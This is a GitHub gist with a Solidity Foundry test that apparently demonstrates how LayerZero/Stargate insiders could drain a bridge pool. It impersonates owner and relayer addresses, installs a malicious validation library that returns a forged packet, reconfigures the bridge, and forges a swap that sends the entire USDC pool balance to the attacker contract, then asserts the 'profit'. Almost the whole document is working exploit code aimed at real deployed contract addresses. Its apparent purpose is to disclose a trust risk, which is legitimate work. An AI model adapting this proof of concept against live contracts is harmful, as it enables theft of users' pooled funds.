Skip to content

Instantly share code, notes, and snippets.

@trayvox
Last active February 20, 2023 03:03
Show Gist options
  • Save trayvox/2edae0556e43a00e68362f11293b7d1f to your computer and use it in GitHub Desktop.
Save trayvox/2edae0556e43a00e68362f11293b7d1f to your computer and use it in GitHub Desktop.
Example showing how Layer Zero can rug if team is malicious
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import {ERC20, SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol";
struct Packet {
uint16 srcChainId;
uint16 dstChainId;
uint64 nonce;
address dstAddress;
bytes srcAddress;
bytes32 ulnAddress;
bytes payload;
}
interface IUltraLightNode {
function addInboundProofLibraryForChain(uint16 _chainId, address _library)
external;
function validateTransactionProof(
uint16 _srcChainId,
address _dstAddress,
uint256 _gasLimit,
bytes32 _lookupHash,
bytes calldata _transactionProof
) external;
struct BlockData {
uint256 confirmations;
bytes32 data;
}
function hashLookup(
address,
uint16,
bytes32
) external view returns (BlockData memory);
function updateHash(
uint16 _srcChainId,
bytes32 _lookupHash,
uint256 _confirmations,
bytes32 _data
) external;
function ulnLookup(uint16) external view returns (bytes32);
}
interface IEndpoint {
function setConfig(
uint16 _version,
uint16 _chainId,
uint256 _configType,
bytes calldata _config
) external;
function inboundNonce(uint16, bytes memory) external view returns (uint64);
function receivePayload(
uint16 _srcChainId,
bytes calldata _srcAddress,
address _dstAddress,
uint64 _nonce,
uint256 _gasLimit,
bytes calldata _payload
) external;
}
interface IRouter {
function swapRemote(
uint16 _srcChainId,
bytes memory _srcAddress,
uint256 _nonce,
uint256 _srcPoolId,
uint256 _dstPoolId,
uint256 _dstGasForCall,
address _to,
IPool.SwapObj memory _s,
bytes memory _payload
) external;
}
interface IBridge {
function bridgeLookup(uint16) external view returns (bytes memory);
function lzReceive(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) external;
function setConfig(
uint16 _version,
uint16 _chainId,
uint256 _configType,
bytes calldata _config
) external;
}
interface IPool {
struct SwapObj {
uint256 amount;
uint256 eqFee;
uint256 eqReward;
uint256 lpFee;
uint256 protocolFee;
uint256 lkbRemove;
}
struct CreditObj {
uint256 credits;
uint256 idealBalance;
}
function swapRemote(
uint16 _srcChainId,
uint256 _srcPoolId,
address _to,
SwapObj memory _s
) external returns (uint256 amountLD);
function token() external view returns (address);
function chainPathIndexLookup(uint16, uint256)
external
view
returns (uint256);
}
contract MaliciousValidation {
Packet public packet;
function setPacket(
uint16 srcChainId,
uint16 dstChainId,
uint64 nonce,
address dstAddress,
bytes memory srcAddress,
bytes32 ulnAddress,
bytes memory payload
) public {
packet = Packet(
srcChainId,
dstChainId,
nonce,
dstAddress,
srcAddress,
ulnAddress,
payload
);
}
function validateProof(
bytes32 blockData,
bytes calldata _data,
uint256 _remoteAddressSize
) external returns (Packet memory) {
return packet;
}
}
contract L0 is DSTestPlus {
address internal constant ENDPOINT =
address(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675);
address internal constant ROUTER =
address(0x8731d54E9D02c286767d56ac03e8037C07e01e98);
address internal constant BRIDGE =
address(0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97);
address internal constant POOL =
address(0xdf0770dF86a8034b3EFEf0A1Bb3c889B8332FF56);
address internal constant ULTRA_LIGHT_NODE =
address(0x5B19bd330A84c049b62D5B0FC2bA120217a18C1C);
address internal constant ORACLE =
address(0x41c69c8ffb4049fc393ed68Ec0Ce66c37f8CF7a0);
address internal constant RELAYER =
address(0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa);
address internal constant VALIDATION_LIB =
address(0x2D61DCDD36F10b22176E0433B86F74567d529aAa);
address internal constant OWNER_ENDPOINT =
address(0x9F403140Bc0574D7d36eA472b82DAa1Bbd4eF327);
address internal constant OWNER_BRIDGE =
address(0x65bb797c2B9830d891D87288F029ed8dACc19705);
function run() public {
hevm.label(ENDPOINT, "ENDPOINT");
hevm.label(BRIDGE, "BRIDGE");
hevm.label(ULTRA_LIGHT_NODE, "ULTRA_LIGHT_NODE");
// Assume that RELAYER is malicious contract (proxy contract), allow "pranks" as
// we can make it do whatever we want anyway
// validation library can either be malicious, or just updated to a malicious by multisig
emit log(
"Draining the pool assuming relayer deployer and team multisig is malicious"
);
ERC20 token = ERC20(IPool(POOL).token());
uint256 drainAmount = token.balanceOf(POOL);
uint256 dstPoolId = 1;
uint16 srcChainId = 10;
MaliciousValidation validation = new MaliciousValidation();
hevm.label(address(validation), "Validation");
hevm.prank(OWNER_ENDPOINT);
IUltraLightNode(ULTRA_LIGHT_NODE).addInboundProofLibraryForChain(
srcChainId,
address(validation)
);
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6);
uint256 balanceBefore = token.balanceOf(address(this));
emit log("Update bridge config to use bad library");
hevm.prank(OWNER_BRIDGE);
IBridge(BRIDGE).setConfig(1, srcChainId, 1, abi.encode(uint16(3)));
bytes32 hash = bytes32(
0xed33a1424055b2ec718d16e5a540e0a2f5d868f37a50d5cb6d88d3f06420aa0d
);
{
bytes memory srcAddress = IBridge(BRIDGE).bridgeLookup(srcChainId);
IPool.SwapObj memory swapData = IPool.SwapObj({
amount: drainAmount,
eqFee: 0,
eqReward: 0,
lpFee: 0,
protocolFee: 0,
lkbRemove: 0
});
bytes memory payload = abi.encode(
uint8(1), // type
uint256(0), // src pool id,
dstPoolId,
uint256(0),
IPool.CreditObj(0, 0),
swapData,
abi.encodePacked(address(this)), // to
bytes("")
);
emit log("Relayer update the value returned by the 'validation'");
validation.setPacket(
srcChainId,
0,
uint64(
IEndpoint(ENDPOINT).inboundNonce(srcChainId, srcAddress)
) + 1,
BRIDGE, // dstAddress
srcAddress,
IUltraLightNode(ULTRA_LIGHT_NODE).ulnLookup(srcChainId),
payload
);
}
emit log("Relayer drains the pool on eth");
hevm.startPrank(RELAYER);
IUltraLightNode(ULTRA_LIGHT_NODE).validateTransactionProof(
srcChainId, //_srcChainId,
BRIDGE, //_dstAddress,
2e6, // _gasLimit,
hash, // _lookupHash
bytes("") // _transactionProof
);
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6);
emit log_named_decimal_uint(
"USDC Profit",
token.balanceOf(address(this)) - balanceBefore,
6
);
assertEq(
token.balanceOf(address(this)) - balanceBefore,
drainAmount,
"No Profit"
);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment